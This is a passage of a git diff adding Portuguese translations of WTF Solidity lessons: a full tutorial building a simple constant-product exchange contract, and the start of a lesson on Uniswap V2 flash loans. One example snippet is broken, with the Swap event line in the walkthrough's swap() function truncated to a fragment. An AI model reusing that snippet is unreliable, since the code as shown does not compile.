(y != 0) { + z = 1; + } + } + + // Adicionar liquidez, trocar tokens, criar LP. + // Se for a primeira vez que está sendo adicionado, a quantidade de LP criada será igual a sqrt(amount0 * amount1) + // Se não for a primeira vez, a quantidade de LPs criados = min(amount0/reserve0, amount1/reserve1) * totalSupply_LP + // @param amount0Desired Quantidade de token0 a ser adicionada + // @param amount1Desired Quantidade de token1 a ser adicionada + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // Transfer the added liquidity to the Swap contract, authorization to the Swap contract must be given in advance. + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calcular a liquidez adicionada + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // Se for a primeira vez que a liquidez é adicionada, crie tokens LP (provedores de liquidez) com uma quantidade de L = sqrt(x * y) unidades. + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // Se não for a primeira vez que a liquidez é adicionada, cunhe LP com base na proporção da quantidade de tokens adicionados, usando a proporção do menor dos dois tokens. + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // Verificando a quantidade de LP fundidos + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Atualizar estoque + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Dar aos provedores de liquidez a capacidade de criar tokens LP que representam a liquidez fornecida. + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + + // Remover a liquidez, destruir LP, transferir tokens. + // A quantidade transferida = (liquidez / totalSupply_LP) * reserva + // @param liquidity Quantidade de liquidez a ser removida + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Obter saldo + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calcular a quantidade de tokens a serem transferidos com base na proporção de LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Verificando a quantidade de tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Destruir LP + _burn(msg.sender, liquidity); + // Transferir tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Atualizar estoque + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + + // Dado a quantidade de um ativo e as reservas de um par de tokens, calcula a quantidade de troca para outro token + // Devido ao produto ser constante + // Antes da troca: k = x * y + // Troca: k = (x + delta_x) * (y + delta_y) + // Pode-se obter delta_y = - delta_x * y / (x + delta_x) + // O sinal de mais/menos representa entrada/saída + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // swap tokens + // @param amountIn Quantidade de tokens para troca + // @param tokenIn Endereço do contrato de token a ser trocado + // @param amountOutMin Quantidade mínima de troca para a outra moeda + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // Se for uma troca de token0 por token1 + tokenOut = token1; + // Calcular a quantidade de token1 que pode ser trocada + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // Realizar troca + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // Se for token1, troque por token0 + tokenOut = token0; + // Calcular a quantidade de token1 que pode ser trocada + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // Realizar troca + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Atualizar estoque + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} \ No newline at end of file diff --git a/Languages/pt-br/56_DEX/img/56-1.png b/Languages/pt-br/56_DEX/img/56-1.png new file mode 100644 index 000000000..3189e4f52 Binary files /dev/null and b/Languages/pt-br/56_DEX/img/56-1.png differ diff --git a/Languages/pt-br/56_DEX/readme.md b/Languages/pt-br/56_DEX/readme.md new file mode 100644 index 000000000..5f0440f27 --- /dev/null +++ b/Languages/pt-br/56_DEX/readme.md @@ -0,0 +1,439 @@ +--- +title: 56. Exchange Descentralizada +tags: + - solidity + - erc20 + - defi +--- + +# WTF Introdução Simples ao Solidity: 56. Exchange Descentralizada + +Recentemente, tenho estudado Solidity novamente para revisar os detalhes e escrever um "WTF Introdução Simples ao Solidity" para iniciantes (programadores experientes podem procurar outros tutoriais). Serão lançadas de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +Nesta aula, vamos apresentar o Constant Product Automated Market Maker (CPAMM), que é o mecanismo central das exchanges descentralizadas (DEX) como Uniswap, PancakeSwap, entre outras. O contrato de ensino é uma simplificação do contrato [Uniswap-v2](https://github.com/Uniswap/v2-core), incluindo as funcionalidades centrais do CPAMM. + +## Market Maker Automatizado + +O Market Maker Automatizado (Automated Market Maker, AMM) é um algoritmo ou um contrato inteligente que permite a negociação descentralizada de ativos digitais. A introdução do AMM criou uma nova forma de negociação, sem a necessidade de correspondência de pedidos entre compradores e vendedores tradicionais, mas sim através de uma fórmula matemática predefinida (como a fórmula do produto constante) que cria uma pool de liquidez, permitindo que os usuários negociem a qualquer momento. + +![](./img/56-1.png) + +A seguir, vamos usar o mercado de Coca-Cola ($COLA) e dólar ($USD) como exemplo para explicar o AMM. Para facilitar, vamos definir os seguintes símbolos: $x$ e $y$ representam a quantidade total de Coca-Cola e dólar no mercado, $\Delta x$ e $\Delta y$ representam a variação da quantidade de Coca-Cola e dólar em uma transação, $L$ e $\Delta L$ representam a liquidez total e a variação da liquidez. + +### Market Maker Automatizado com Soma Constante + +O Market Maker Automatizado com Soma Constante (Constant Sum Automated Market Maker, CSAMM) é o modelo mais simples de AMM, e vamos começar por ele. A restrição durante a negociação é: + +$$k=x+y$$ + +onde $k$ é uma constante. Isso significa que a soma das quantidades de Coca-Cola e dólar no mercado permanece constante antes e depois da negociação. Por exemplo, se houver 10 garrafas de Coca-Cola e $10 de dólar na liquidez do mercado, então $k=20$ e o preço da Coca-Cola é de $1 por garrafa. Se eu estiver com sede e quiser trocar $2 por Coca-Cola, a quantidade total de dólar no mercado será reduzida para $12, mantendo a restrição $k=20$, e a quantidade de Coca-Cola será reduzida para 8 garrafas, mantendo o preço de $1 por garrafa. Eu recebi 2 garrafas de Coca-Cola por $2, ou seja, $1 por garrafa. + +A vantagem do CSAMM é que ele garante que o preço relativo dos tokens permaneça constante, o que é importante em trocas de stablecoins, onde todos esperam que 1 USDT possa sempre ser trocado por 1 USDC. No entanto, a desvantagem é que a liquidez é facilmente esgotada: eu só preciso de $10 para esgotar a liquidez de Coca-Cola no mercado, e outros usuários que queiram comprar Coca-Cola não poderão mais fazer isso. + +A seguir, vamos apresentar o Market Maker Automatizado com Produto Constante, que possui "liquidez infinita". + +### Market Maker Automatizado com Produto Constante + +O Market Maker Automatizado com Produto Constante (Constant Product Automated Market Maker, CPAMM) é o modelo mais popular de AMM, e foi adotado pela primeira vez pelo Uniswap. A restrição durante a negociação é: + +$$k=x*y$$ + +onde $k$ é uma constante. Isso significa que o produto das quantidades de Coca-Cola e dólar no mercado permanece constante antes e depois da negociação. Usando o mesmo exemplo anterior, se houver 10 garrafas de Coca-Cola e $10 de dólar na liquidez do mercado, então $k=100$ e o preço da Coca-Cola é de $1 por garrafa. Se eu estiver com sede e quiser trocar $10 por Coca-Cola, a quantidade total de dólar no mercado será aumentada para $20, mantendo a restrição $k=100$, e a quantidade de Coca-Cola será reduzida para 5 garrafas, resultando em um preço de $20/5 = 4 por garrafa. Eu recebi 5 garrafas de Coca-Cola por $10, ou seja, $2 por garrafa. + +A vantagem do CPAMM é que ele possui "liquidez infinita": o preço relativo dos tokens varia de acordo com as compras e vendas, e quanto mais escasso for um token, maior será o seu preço relativo, evitando que a liquidez seja esgotada. No exemplo acima, a negociação fez com que o preço da Coca-Cola subisse de $1 para $4 por garrafa, evitando que a Coca-Cola fosse comprada até esgotar a liquidez do mercado. + +A seguir, vamos construir uma exchange descentralizada extremamente simples baseada no CPAMM. + +## Exchange Descentralizada + +Agora, vamos escrever um contrato chamado `SimpleSwap` que representa uma exchange descentralizada, permitindo que os usuários negociem um par de tokens. + +`SimpleSwap` herda o padrão de contrato ERC20 para facilitar o registro da liquidez fornecida pelos provedores de liquidez. No construtor, especificamos os endereços dos dois tokens que a exchange suporta. `reserve0` e `reserve1` registram as reservas dos tokens no contrato. + +```solidity +contract SimpleSwap is ERC20 { + // Contrato do token + IERC20 public token0; + IERC20 public token1; + + // Reservas dos tokens + uint public reserve0; + uint public reserve1; + + // Construtor, inicializa os endereços dos tokens + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } +} +``` + +A exchange tem dois tipos de participantes: provedores de liquidez (Liquidity Providers, LP) e traders. A seguir, vamos implementar as funcionalidades para cada um desses participantes. + +### Provedores de Liquidez + +Os provedores de liquidez fornecem liquidez ao mercado, permitindo que os traders obtenham melhores preços e liquidez, e recebem uma taxa em troca. + +Primeiro, precisamos implementar a funcionalidade de adicionar liquidez. Quando um usuário adiciona liquidez à pool de tokens, o contrato deve registrar a participação do LP. De acordo com o Uniswap V2, a participação do LP é calculada da seguinte forma: + +1. Quando a pool de tokens é adicionada pela primeira vez, a participação do LP $\Delta{L}$ é determinada pela raiz quadrada do produto das quantidades de tokens adicionadas: + + $$\Delta{L}=\sqrt{\Delta{x} *\Delta{y}}$$ + +2. Quando a liquidez é adicionada posteriormente, a participação do LP é determinada pela proporção das quantidades de tokens adicionadas em relação às reservas dos tokens (a proporção é calculada para cada token e a menor proporção é usada): + + $$\Delta{L}=L*\min{(\frac{\Delta{x}}{x}, \frac{\Delta{y}}{y})}$$ + +Como o contrato `SimpleSwap` herda o padrão ERC20, após calcular a participação do LP, podemos emitir tokens para o usuário representando sua participação. + +A função `addLiquidity()` a seguir implementa a funcionalidade de adicionar liquidez, com as seguintes etapas: + +1. Transferir os tokens adicionados pelo usuário para o contrato. O usuário precisa aprovar o contrato antecipadamente. +2. Calcular a participação de liquidez adicionada e verificar a quantidade de tokens a serem emitidos. +3. Atualizar as reservas dos tokens no contrato. +4. Emitir tokens LP para o provedor de liquidez. +5. Emitir o evento `Mint`. + +```solidity +event Mint(address indexed sender, uint amount0, uint amount1); + +// Adicionar liquidez, transferir tokens e emitir tokens LP +// @param amount0Desired Quantidade de token0 a ser adicionada +// @param amount1Desired Quantidade de token1 a ser adicionada +function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // Transferir a liquidez adicionada para o contrato Swap, o usuário precisa aprovar o contrato Swap antecipadamente + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calcular a liquidez adicionada + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // Se for a primeira vez que a liquidez é adicionada, emitir tokens LP (liquidity provider) na quantidade de L = sqrt(x * y) + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // Se não for a primeira vez que a liquidez é adicionada, emitir tokens LP com base na proporção das quantidades de tokens adicionadas, usando a menor proporção entre os dois tokens + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // Verificar a quantidade de tokens LP emitidos + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Atualizar as reservas dos tokens + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Emitir tokens LP para o provedor de liquidez, representando a liquidez fornecida + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); +} +``` + +A seguir, precisamos implementar a funcionalidade de remover liquidez. Quando um usuário remove uma quantidade $\Delta{L}$ de liquidez da pool, o contrato deve queimar os tokens LP e devolver a proporção correspondente dos tokens para o usuário. A fórmula para calcular a quantidade de tokens a serem devolvidos é a seguinte: + +$$\Delta{x}={\frac{\Delta{L}}{L} * x}$$ +$$\Delta{y}={\frac{\Delta{L}}{L} * y}$$ + +A função `removeLiquidity()` a seguir implementa a funcionalidade de remover liquidez, com as seguintes etapas: + +1. Obter o saldo dos tokens no contrato. +2. Calcular a quantidade de tokens a serem transferidos com base na proporção dos tokens LP. +3. Verificar a quantidade de tokens. +4. Queimar os tokens LP. +5. Transferir os tokens correspondentes para o usuário. +6. Atualizar as reservas dos tokens no contrato. +7. Emitir o evento `Burn`. + +```solidity +// Remover liquidez, queimar tokens LP e transferir tokens +// Quantidade a ser transferida = (liquidity / totalSupply_LP) * reserve +// @param liquidity Quantidade de liquidez a ser removida +function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Obter o saldo + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calcular a quantidade de tokens a serem transferidos com base na proporção dos tokens LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Verificar a quantidade de tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Queimar os tokens LP + _burn(msg.sender, liquidity); + // Transferir os tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Atualizar as reservas dos tokens + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); +} +``` + +Agora, as funcionalidades relacionadas aos provedores de liquidez estão concluídas. A seguir, vamos implementar as funcionalidades de negociação. + +### Negociação + +Na exchange `SimpleSwap`, os usuários podem trocar um token por outro. Quanto de token1 posso obter ao trocar $\Delta{x}$ unidades de token0? Vamos fazer uma breve dedução. + +De acordo com a fórmula do produto constante, antes da negociação: + +$$k=x*y$$ + +Após a negociação, temos: + +$$k=(x+\Delta{x})*(y+\Delta{y})$$ + +Como o valor de $k$ não muda antes e depois da negociação, podemos combinar as duas equações acima: + +$$\Delta{y}=-\frac{\Delta{x}*y}{x+\Delta{x}}$$ + +Portanto, a quantidade de token1 $\Delta{y}$ que podemos obter é determinada por $\Delta{x}$, $x$ e $y$. Observe que os sinais de $\Delta{x}$ e $\Delta{y}$ são opostos, porque adicionar aumenta a reserva de tokens e remover diminui. + +A função `getAmountOut()` a seguir implementa o cálculo da quantidade de tokens a serem obtidos, dado um valor de entrada e as reservas dos tokens. + +```solidity +// Dado um valor de entrada e as reservas dos tokens, calcular a quantidade de tokens a serem obtidos +function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); +} +``` + +Com essa fórmula central, podemos implementar a funcionalidade de negociação. A função `swap()` a seguir implementa a funcionalidade de troca de tokens, com as seguintes etapas: + +1. O usuário especifica a quantidade de tokens a serem trocados, o endereço do token a ser trocado e a quantidade mínima do outro token a ser obtida. +2. Verificar se é uma troca de token0 por token1 ou de token1 por token0. +3. Usar a fórmula acima para calcular a quantidade de tokens a serem obtidos. +4. Verificar se a quantidade de tokens obtidos atende à quantidade mínima especificada pelo usuário (semelhante ao slippage em uma negociação). +5. Transferir os tokens do usuário para o contrato. +6. Transferir os tokens trocados do contrato para o usuário. +7. Atualizar as reservas dos tokens no contrato. +8. Emitir o evento `Swap`. + +```solidity +// Trocar tokens +// @param amountIn Quantidade de tokens a serem trocados +// @param tokenIn Endereço do token a ser trocado +// @param amountOutMin Quantidade mínima do outro token a ser obtida +function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // Se for uma troca de token0 por token1 + tokenOut = token1; + // Calcular a quantidade de token1 a ser obtida + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // Realizar a troca + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // Se for uma troca de token1 por token0 + tokenOut = token0; + // Calcular a quantidade de token1 a ser obtida + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // Realizar a troca + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Atualizar as reservas dos tokens + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + +(tokenIn), amountOut, address(tokenOut)); +} +``` + +## Contrato Swap + +O código completo do `SimpleSwap` é o seguinte: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + // Contrato do token + IERC20 public token0; + IERC20 public token1; + + // Reservas dos tokens + uint public reserve0; + uint public reserve1; + + // Eventos + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // Construtor, inicializa os endereços dos tokens + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // Função auxiliar para retornar o menor valor entre dois números + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // Função auxiliar para calcular a raiz quadrada usando o método babilônico (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + + // Adicionar liquidez, transferir tokens e emitir tokens LP + // @param amount0Desired Quantidade de token0 a ser adicionada + // @param amount1Desired Quantidade de token1 a ser adicionada + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // Transferir a liquidez adicionada para o contrato Swap, o usuário precisa aprovar o contrato Swap antecipadamente + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // Calcular a liquidez adicionada + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // Se for a primeira vez que a liquidez é adicionada, emitir tokens LP (liquidity provider) na quantidade de L = sqrt(x * y) + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // Se não for a primeira vez que a liquidez é adicionada, emitir tokens LP com base na proporção das quantidades de tokens adicionadas, usando a menor proporção entre os dois tokens + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // Verificar a quantidade de tokens LP emitidos + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // Atualizar as reservas dos tokens + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // Emitir tokens LP para o provedor de liquidez, representando a liquidez fornecida + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + + // Remover liquidez, queimar tokens LP e transferir tokens + // Quantidade a ser transferida = (liquidity / totalSupply_LP) * reserve + // @param liquidity Quantidade de liquidez a ser removida + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // Obter o saldo + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // Calcular a quantidade de tokens a serem transferidos com base na proporção dos tokens LP + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // Verificar a quantidade de tokens + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // Queimar os tokens LP + _burn(msg.sender, liquidity); + // Transferir os tokens + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // Atualizar as reservas dos tokens + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + + // Dado um valor de entrada e as reservas dos tokens, calcular a quantidade de tokens a serem obtidos + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // Trocar tokens + // @param amountIn Quantidade de tokens a serem trocados + // @param tokenIn Endereço do token a ser trocado + // @param amountOutMin Quantidade mínima do outro token a ser obtida + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // Se for uma troca de token0 por token1 + tokenOut = token1; + // Calcular a quantidade de token1 a ser obtida + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // Realizar a troca + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // Se for uma troca de token1 por token0 + tokenOut = token0; + // Calcular a quantidade de token1 a ser obtida + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // Realizar a troca + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // Atualizar as reservas dos tokens + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} +``` + +## Reproduzindo no Remix + +1. Implante dois contratos ERC20 (token0 e token1) e registre seus endereços de contrato. + +2. Implante o contrato `SimpleSwap` e preencha os endereços dos tokens acima. + +3. Chame a função `approve()` dos contratos ERC20 para permitir que o contrato `SimpleSwap` gaste 1000 unidades de cada token. + +4. Chame a função `addLiquidity()` do contrato `SimpleSwap` para adicionar liquidez à exchange. Adicione 100 unidades de cada token. + +5. Chame a função `balanceOf()` do contrato `SimpleSwap` para verificar a participação do LP. Deve ser 100. ($\sqrt{100*100}=100$) + +6. Chame a função `swap()` do contrato `SimpleSwap` para realizar uma troca de tokens. Use 100 unidades do token0. + +7. Chame as funções `reserve0` e `reserve1` do contrato `SimpleSwap` para verificar as reservas de tokens no contrato. Deve ser 200 e 50, respectivamente. Na etapa anterior, usamos 100 unidades do token0 para trocar por 50 unidades do token1 ($\frac{100*100}{100+100}=50$). + +## Conclusão + +Nesta aula, apresentamos o Market Maker Automatizado com Produto Constante e escrevemos uma exchange descentralizada extremamente simples. No contrato `SimpleSwap`, há muitos aspectos que não foram considerados, como taxas de negociação e governança. Se você estiver interessado em exchanges descentralizadas, recomendamos a leitura de [Programming DeFi: Uniswap V2](https://jeiwan.net/posts/programming-defi-uniswapv2-1/) e [Uniswap v3 book](https://y1cunhui.github.io/uniswapV3-book-zh-cn/) para um estudo mais aprofundado. + diff --git a/Languages/pt-br/57_Flashloan/img/57-1.png b/Languages/pt-br/57_Flashloan/img/57-1.png new file mode 100644 index 000000000..7199c4c7a Binary files /dev/null and b/Languages/pt-br/57_Flashloan/img/57-1.png differ diff --git a/Languages/pt-br/57_Flashloan/readme.md b/Languages/pt-br/57_Flashloan/readme.md new file mode 100644 index 000000000..3831e2028 --- /dev/null +++ b/Languages/pt-br/57_Flashloan/readme.md @@ -0,0 +1,479 @@ +# WTF Solidity Simplified: 57. Flash Loans + +Eu tenho revisitado o aprendizado de Solidity recentemente, consolidando alguns detalhes e escrevendo um "WTF Solidity Simplified" para iniciantes (programadores experientes podem procurar outros tutoriais). Atualização semanal de 1-3 lições. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk)|[Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são open source no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +A expressão "ataque de empréstimo-relâmpago" é algo que muitas pessoas já ouviram falar, mas o que exatamente é um empréstimo-relâmpago? Como escrever contratos inteligentes que utilizam empréstimos-relâmpago? Nesta lição, vamos falar sobre empréstimos-relâmpago no contexto das criptomoedas, implementando contratos inteligentes de empréstimos-relâmpago baseados em Uniswap V2, Uniswap V3 e AAVE V3 e testando-os com o Foundry. + +## Empréstimos-Relâmpago + +Provavelmente você já ouviu falar sobre "empréstimos-relâmpago" no mundo DeFi (Finanças Descentralizadas), pois esse conceito não existe no mundo financeiro tradicional. Empréstimos-relâmpago (flash loans) são uma inovação no DeFi que permitem aos usuários tomar empréstimos e devolvê-los rapidamente em uma única transação, sem a necessidade de fornecer qualquer garantia. + +Imagine que você identifica uma oportunidade de arbitragem no mercado que requer uma quantia de 1 milhão de tokens. No mundo financeiro tradicional, você teria que solicitar um empréstimo ao banco, passar por um processo de aprovação e, muitas vezes, perderia a oportunidade de arbitragem. Além disso, se a arbitragem não fosse bem-sucedida, você teria que pagar os juros e ainda devolver o capital perdido. + +No mundo DeFi, você pode pegar um empréstimo-relâmpago em uma plataforma como Uniswap, AAVE ou Dodo, para obter os fundos necessários e realizar a arbitragem. Depois, você devolve o empréstimo, juntamente com os juros, em uma única transação. Os empréstimos-relâmpago se beneficiam da atomicidade das transações Ethereum: ou a transação é totalmente executada, ou é totalmente revertida. Isso significa que se um usuário tentar usar um empréstimo-relâmpago e não devolver os fundos na mesma transação, tudo será desfeito como se a transação nunca tivesse acontecido. Portanto, as plataformas DeFi não precisam se preocupar com a inadimplência dos mutuários, pois a transação falharia se os fundos não fossem devolvidos. + +## Implementação de Empréstimos-Relâmpago + +A seguir, vamos mostrar como implementar contratos de empréstimo-relâmpago para Uniswap V2, Uniswap V3 e AAVE V3. + +### 1. Empréstimo-Relâmpago Uniswap V2 + +O contrato `UniswapV2Pair` da [Uniswap V2](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L159) possui a função `swap()` que suporta empréstimos-relâmpago. O código relacionado aos empréstimos-relâmpago é o seguinte: + +```solidity +function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { + // Outras lógicas... + + // Transferência otimista dos tokens para o endereço 'to' + if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); + if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); + + // Chamada da função de retorno 'uniswapV2Call' no endereço 'to' + if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); + + // Outras lógicas... + + // Verificação se o empréstimo-relâmpago foi devolvido com sucesso utilizando a fórmula k=x*y + require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); +} +``` + +No código acima, na função `swap()`: + +1. Os tokens do pool são transferidos otimisticamente para o endereço `to`. +2. Se o tamanho dos dados passados for maior que 0, a função de retorno `uniswapV2Call` do endereço `to` é chamada, executando a lógica do empréstimo-relâmpago. +3. Por fim, é verificado se o empréstimo-relâmpago foi devolvido com sucesso usando a fórmula `k=x*y`. Se não foi devolvido, a transação é revertida. + +A seguir, concluímos o contrato de empréstimo-relâmpago `UniswapV2Flashloan.sol`. Ele herda a interface `IUniswapV2Callee` e a lógica principal do empréstimo-relâmpago é escrita na função de retorno `uniswapV2Call`. + +A lógica geral é simples: na função `flashloan()`, pegamos emprestado `WETH` do pool `WETH-DAI` da Uniswap V2. Após o empréstimo ser acionado, a função de retorno `uniswapV2Call` é chamada pelo contrato do par, mas não realizamos arbitragem. Em vez disso, calculamos os juros e devolvemos o empréstimo-relâmpago. Os juros de um empréstimo-relâmpago na Uniswap V2 são de 0,3%. + 